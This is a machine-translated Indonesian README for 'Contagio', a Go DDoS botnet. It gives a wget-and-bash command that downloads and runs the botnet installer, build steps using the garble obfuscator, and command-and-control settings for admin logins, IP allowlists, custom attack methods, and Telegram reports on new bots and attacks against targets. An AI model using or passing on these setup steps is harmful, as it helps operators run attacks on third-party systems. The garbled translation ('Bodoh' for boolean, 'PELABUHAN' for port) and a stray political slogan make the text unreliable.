Versi tertutup C++: https://github.com/TryZeroOne/Contagio-closed
Contagio adalah botnet yang ditulis dalam go. Ini adalah versi beta jadi mungkin ada bug. Baca FAQ dan dokumentasi sebelum membuat masalah. Jangan percaya propaganda Ukraina
Instalasi
Sistem yang didukung
Dokumentasi
Pertanyaan Umum
Sumbangan
Os | Status |
---|---|
Linux | |
jendela | |
macOS |
Distribusi Linux
Distro | Status |
---|---|
Lengkungan | |
Manjaro | |
fedora | |
Centos | |
Ubuntu |
informasi sistem dapat ditemukan pada foto di folder aset
Contagio memiliki penginstalnya sendiri.
wget https://raw.githubusercontent.com/TryZeroOne/Contagio/main/installer/installer.sh -O installer.sh
bash installer.sh -[args]
Example: bash installer.sh -default
Argumen:
membersihkan | menginstal contagio tanpa konfigurasi dan tema yang sudah diinstal sebelumnya. |
bawaan | menginstal contagio dengan konfigurasi dan tema yang sudah diinstal sebelumnya. |
source ~/.bashrc
go install mvdan.cc/garble@latest
cd Contagio
go mod init contagio
go mod tidy
lalu ikuti langkah-langkah dari setup.txt
Panduan pengaturan segera...
Nama | Jenis | Keterangan |
---|---|---|
ImportTheme | Rangkaian | Mengimpor tema. Baca lebih lanjut tentang penyesuaian di sini. |
CncServer | Rangkaian | IP: PELABUHAN. Anda harus menentukan IP publik. Untuk mendapatkan IP publik, masukkan curl http://ip-api.com/json/?fields=query |
RootLogin | Rangkaian | Login yang memiliki akses ke perintah admin (addip, adduser, dll). |
RELEASE_MODE | Bodoh | Menyembunyikan log (bot baru terhubung, bin terkirim, dll). |
TelegramBotToken | Rangkaian | Token bot Telegram. |
TelegramChatId | Rangkaian | Id telegram/id obrolan Anda. Dapatkan ID. |
SaveLogsInFile | Bodoh | Simpan log dalam file? |
SendLogsInTelegram | Bodoh | Kirim log melalui bot Telegram ke saluran atau pesan pribadi? |
PrintLogsInTerminal | Bodoh | Cetak log di terminal? |
NewClientConnectedLog | Bodoh | Aktifkan logging untuk koneksi baru ke cnc. |
NewClientConnectedFileName | Rangkaian | Nama file untuk log koneksi baru. |
NewAttackStartedFileName | Rangkaian | Nama file untuk log serangan baru. |
AllowAllIps | Bodoh | Izinkan Semua Alamat IP? Jika AllowAllIps=false, maka hanya alamat IP yang ditambahkan melalui perintah addip yang dapat terhubung ke cnc. |
Modul khusus hanya dapat digunakan di Judul. Hasil Anda dari echo akan ditampilkan di Judul. Modul khusus terdiri dari:
[Modules.ModuleName]
Exec = "command to execute"
ExecEnv = "env"
ExecDir = "directory where the command is executed"
Hanya Exec yang perlu ditentukan. Jika ExecDir tidak ditentukan, maka akan dieksekusi dari direktori tempat CNC diluncurkan.
Anda bisa menggunakan tema kosong, atau Anda bisa menggunakan tema yang sudah ada. Anda juga bisa menggunakan warna.
Nama | Jenis | Variabel | Keterangan |
---|---|---|---|
[Log] | |||
NewClientConnectedTerminal | Rangkaian | {ip} {login} {port} {date} | Format log di terminal untuk koneksi baru. |
NewClientConnectedTelegram | Rangkaian | {ip} {login} {port} {date} | Format log di Telegram untuk koneksi baru (Anda dapat menggunakan penurunan harga). |
NewClientConnectedFile | Rangkaian | {ip} {login} {port} {date} | Format log dalam file untuk koneksi baru. |
NewAttackStartedTerminal | Rangkaian | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | Format log di terminal untuk serangan baru. |
NewAttackStartedTelegram | Rangkaian | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | Format log di Telegram untuk serangan baru. |
NewAttackStartedFile | Rangkaian | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | Format log dalam file untuk serangan baru. |
[CNC] | |||
CmdPrompt | Rangkaian | {login} | Prompt perintah CNC. |
Banner | String (Array) | Null | Spanduk. |
HelpCommand | Rangkaian | {command} {description} | Format keluaran perintah bantuan. |
MethodsCommand | Rangkaian | {name} {description} | Format keluaran perintah metode. |
CustomMethodsEnabled | Bodoh | Null | Aktifkan metode khusus? |
CustomMethods | String (Array) | Null | Metode khusus (diaktifkan ketika CustomMethodsEnabled=true ). |
CustomHelpEnabled | Bodoh | Null | Aktifkan bantuan khusus? |
CustomHelp | String (Array) | Null | Bantuan khusus (diaktifkan ketika CustomHelpEnabled=true ). |
BotCount | Rangkaian | {total} {bots} | Format keluaran perintah bot. |
NoBotsConnectedError | Rangkaian | Null | Pesan kesalahan saat menjalankan perintah "bots" tetapi tidak ada bot yang tersedia. |
CommandSent | Rangkaian | {bots} {id} | Output ketika serangan berhasil dikirim. |
UnknownCommandError | Rangkaian | Null | Pesan kesalahan ketika perintah tidak diketahui. |
InvalidCommandSyntaxError | Rangkaian | {syntax} {example} | Pesan kesalahan ketika perintah (metode ddos) memiliki sintaks yang salah. |
NoActiveAttacksError | Rangkaian | Null | Pesan kesalahan ketika tidak ada serangan aktif (menjalankan perintah). |
AttackIdNotFoundError | Rangkaian | Null | Pesan kesalahan ketika ID serangan tidak ditemukan (perintah kill). |
CommandExecuted | Rangkaian | Null | Hasil ketika perintah berhasil dijalankan. |
CommandInvalidSyntax | Rangkaian | {syntax} {example} | Pesan kesalahan ketika perintah memiliki sintaks yang salah. |
Title | Rangkaian | {login} {cpu} {memory} {animation} {bots} | Judul CNC. |
[Otentikasi] | |||
LoginPrompt | Rangkaian | Null | Perintah masuk. |
PasswordPrompt | Rangkaian | Null | Permintaan kata sandi. |
AuthError | Rangkaian | Null | Pesan kesalahan ketika kata sandi atau login salah. |
CaptchaPrompt | Rangkaian | {code} | Perintah Captcha. |
CaptchaError | Rangkaian | Null | Pesan kesalahan ketika captcha yang dimasukkan salah. |
IpIsNotAllowedError | Rangkaian | Null | Pesan kesalahan ketika IP tidak diizinkan. |
Di Contagio, tersedia warna bawaan, dan Anda juga dapat membuatnya sendiri.
Warna harus ditulis dalam kurung kurawal. Misalnya,
CncPrompt = "{red}Hello{white} World: "
Untuk membuat warna Anda sendiri, Anda perlu menggunakan warna ANSI. Misalnya:
{custom(fg=ansi_code bg=ansi_code fgstyle=ansi_code)}
A: Coba tambahkan r di akhir baris. Misalnya
PasswordPrompt = "Enter password: r"
Jika tidak berhasil, buatlah masalah
A: Kirim /newbot ke bot @Botfather, lalu jawab pertanyaannya dan salin tokennya (Contoh Token: 1234545:DDDDD__ASDADAHUQHHHI34I29I).
A: